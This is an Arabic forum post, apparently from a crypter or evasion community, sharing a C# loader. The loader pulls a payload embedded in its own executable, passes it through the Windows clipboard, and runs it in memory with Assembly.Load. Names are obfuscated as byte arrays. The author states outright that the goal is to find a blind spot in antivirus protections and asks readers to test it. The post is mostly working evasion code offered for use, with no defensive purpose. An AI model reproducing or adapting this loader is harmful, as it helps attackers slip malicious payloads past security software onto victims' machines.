15.12.2017 تخزين بايت اراي في Clipboard.SetDataObject !!


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
1,570
2,966
1
حياكم الله ياشباب
اولا اسف على الغياب بس كنت تعبان وعندي مشاكل
الموضوع باختصار شديد انه عندنا بايت اراي موجود باي شكل كان
مثلا جبته من النت او من الريسورس او امبيديد ريسورس او السورس نفسه
بانك حولته من اي شكل كان لبايت اراي او موجود كبايتات محقونة بالملف الاصلي
كحال موضوعنا هنا ..وين ماكان البايت اراي كلاينتك ماهون موضوعنا
بس بشرح لك انه البايت اراي انت جيبه بالطريقة البدك اياها
موضوعي انه بدل استخدام هذا البايت اراي مباشرة مثل مااعتادت الحمايات عليه
انه بعد جلبنا للبايت اراي منشغله فورا قلت ليش مامنمرره على الكليبورد Clipboard
ومن ثم منقرأه من الكليبورد
ممكن تقول لي وش الفايدة ..انا ماادري ممكن لانها طريقة جديدة
وبعيدة عن الاسلوب المتبع المتواتر بتشغيل البايت اراي ايا كان مصدره
بشكل مباشر وصريح ..قلت يمكن تعدي لكم التجربة
الاكواد رح تكون بالشكل التالي فقط اللي عليك انك تحدد من وين بدك البايت اراي تجيك
وقت تعمل Call للميثود الخاصة بحفظ البايت اراي بالكيلبورد وهي هذه
C#:
Pu(here)
مكان here ضع البايت اراي الخاص بك من وين ماكان يكون
انا خليته ك بايتات محقونه بالملف نفسه


C#:
public static void Main()
   {
        Pu(Hh((byte[])Type.GetType(Bs(new byte[] { 83, 121, 115, 116, 101, 109, 46, 73, 79, 46, 70, 105, 108, 101 }))?.
            GetMethod(Bs(new byte[] { 82, 101, 97, 100, 65, 108, 108, 66, 121, 116, 101, 115 }), new[] { typeof(string) })?.
            Invoke(null, new object[] { Application.ExecutablePath })));
        Interaction.CallByName(Interaction.CallByName(Type.GetType(Bs(new byte[]
         { 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 65, 115, 115, 101, 109, 98, 108, 121}
         ))?.GetMethod(Bs(new byte[] { 76, 111, 97, 100 }),
         new[] { typeof(byte[]) })?.Invoke(null,  new object[] {Ge()})
       ?? throw new InvalidOperationException(), Bs(new byte[] { 69, 110, 116, 114, 121, 80, 111, 105, 110, 116 }), CallType.Get)
       ,Bs(new byte[] { 73, 110, 118, 111, 107, 101 }), CallType.Method, 1-1, null);
    }
    public static void Pu(byte[] bashar)
    {
        var data = new DataObject();
        using (var memStream = new MemoryStream())
        {
            memStream.Write(bashar, 0, bashar.Length);
            data.SetData(Bs(new byte[] { 114, 97, 119, 98, 105, 110, 97, 114, 121 }), false, memStream);
            Clipboard.SetDataObject(data, true);
        }
    }
    public static byte[] Ge()
    {
        if (!(Clipboard.GetDataObject() is DataObject retrievedData) || !retrievedData.GetDataPresent(
            Bs(new byte[] { 114, 97, 119, 98, 105, 110, 97, 114, 121 }))) return null;
        if (!(retrievedData.GetData(Bs(new byte[] { 114, 97, 119, 98, 105, 110, 97, 114, 121 })) is MemoryStream byteStream)) return null;
        return byteStream.ToArray();
    }
    static byte[] Hh(byte[] bb) { var test2 = new byte[16896]; Array.Copy(bb, 6656, test2, 0, test2.Length); return test2; }
    public static string Bs(byte[] bashar)
    {
      return  System.Text.Encoding.ASCII.GetString(bashar);
    }
اكوادك كلين بشكلهم الحالي لهيك ماتقلق
اللي بهمني انه تجربولي طريقة القراءة للبايت اراي من الكليبورد
هل هي نقطة عمياء بالنسبة للحمايات او بعضها
الفديو بالمرفقات
 

المرفقات

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك